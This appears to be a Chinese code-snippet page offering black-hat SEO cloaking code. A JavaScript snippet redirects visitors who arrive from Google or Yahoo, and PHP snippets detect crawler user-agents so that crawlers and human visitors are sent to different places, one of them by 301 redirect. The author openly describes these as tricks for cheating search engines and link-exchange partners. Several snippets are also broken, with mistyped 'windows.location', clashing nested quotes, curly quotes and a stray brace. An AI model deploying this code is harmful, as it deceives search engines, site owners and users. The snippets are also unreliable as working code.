Welcome 微信登录

首页 / 脚本样式 / JavaScript / 根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)

黑帽seo手段中有一个大家都在用的技巧,在服务端判断 客户端浏览器的user-agent然后做进一步操作,
网上一直都有人在用 这个代码 先是一个js代码 判断网站访客来路 如果是搜索引擎来的 就跳转 如果是直接访问则不变化 这段代码是从网上找来的 已经很久了 感谢原作者
<script language="javascript">var pattern = /google/gi;var pattern1= /yahoo/gi;var keyValue=escape(document.referrer);if (pattern.exec(keyValue))setTimeout("windows.location="http://www.jb51.net"",10*1000);else if(pattern1.exec(keyValue))setTimeout("window.location="http://www.jb51.net"",10*1000);</script>
如果是搜索引擎的user-agent则301跳转 目前网上好多欺骗友情链接的就是这个做法(代码会放在最后)
具体还有很多思路,跳转了,乔页等 今天仅把代码放出来 php的代码
声明 代码都是百度下来的 先写个简单的
根据php的 $_SERVER[‘HTTP_USER_AGENT"]来进行判断
<?php$tmp = $_SERVER["HTTP_USER_AGENT"];if(strpos($tmp, "Googlebot") !== false){    echo "谷歌";} else if(strpos($tmp, "Baiduspider") >0){    echo "百度";} else if(strpos($tmp, "Yahoo! Slurp") !== false){    echo "雅虎";} else if(strpos($tmp, "msnbot") !== false){    echo "Msn";} else if(strpos($tmp, "Sosospider") !== false){    echo "搜搜";} else if(strpos($tmp, "YodaoBot") !== false || strpos($tmp, "OutfoxBot") !== false){    echo "有道";} else if(strpos($tmp, "Sogou web spider") !== false || strpos($tmp, "Sogou Orion spider") !== false){    echo "搜狗";} else if(strpos($tmp, "fast-webcrawler") !== false){    echo "Alltheweb";} else if(strpos($tmp, "Gaisbot") !== false){    echo "Gais";} else if(strpos($tmp, "ia_archiver") !== false){    echo "Alexa";} else if(strpos($tmp, "altavista") !== false){    echo "AltaVista";} else if(strpos($tmp, "lycos_spider") !== false){    echo "Lycos";} else if(strpos($tmp, "Inktomi slurp") !== false){    echo "Inktomi";}?>
第二段带跳转的
<?php$flag = false;$tmp = $_SERVER["HTTP_USER_AGENT"];if(strpos($tmp, "Googlebot") !== false){    $flag = true;} else if(strpos($tmp, "Baiduspider") >0){    $flag = true;} else if(strpos($tmp, "Yahoo! Slurp") !== false){    $flag = true;} else if(strpos($tmp, "msnbot") !== false){    $flag = true;} else if(strpos($tmp, "Sosospider") !== false){    $flag = true;} else if(strpos($tmp, "YodaoBot") !== false || strpos($tmp, "OutfoxBot") !== false){    $flag = true;} else if(strpos($tmp, "Sogou web spider") !== false || strpos($tmp, "Sogou Orion spider") !== false){    $flag = true;} else if(strpos($tmp, "fast-webcrawler") !== false){    $flag = true;} else if(strpos($tmp, "Gaisbot") !== false){    $flag = true;} else if(strpos($tmp, "ia_archiver") !== false){    $flag = true;} else if(strpos($tmp, "altavista") !== false){    $flag = true;} else if(strpos($tmp, "lycos_spider") !== false){    $flag = true;} else if(strpos($tmp, "Inktomi slurp") !== false){    $flag = true;}if($flag == false){   header("Location: http://www.jb51.net" . $_SERVER["REQUEST_URI"]);    // 自动转到http://www.jb51.net 对应的网页    // $_SERVER["REQUEST_URI"] 为域名后面的路径    // 或 换成 header("Location: http://www.jb51.net/abc/d.php");   exit();}?>
第三段代码 是 判断后301跳转的
if (preg_match(“#(google|slurp@inktomi|yahoo! slurp|msnbot)#si”, $_SERVER["HTTP_USER_AGENT"])) { header(“HTTP/1.1 301 Moved Permanently”);header(“Location: http://www.saoyu.com/”);exit; }}
黑帽手段有风险 请慎用。如果中招的朋友感觉找后门。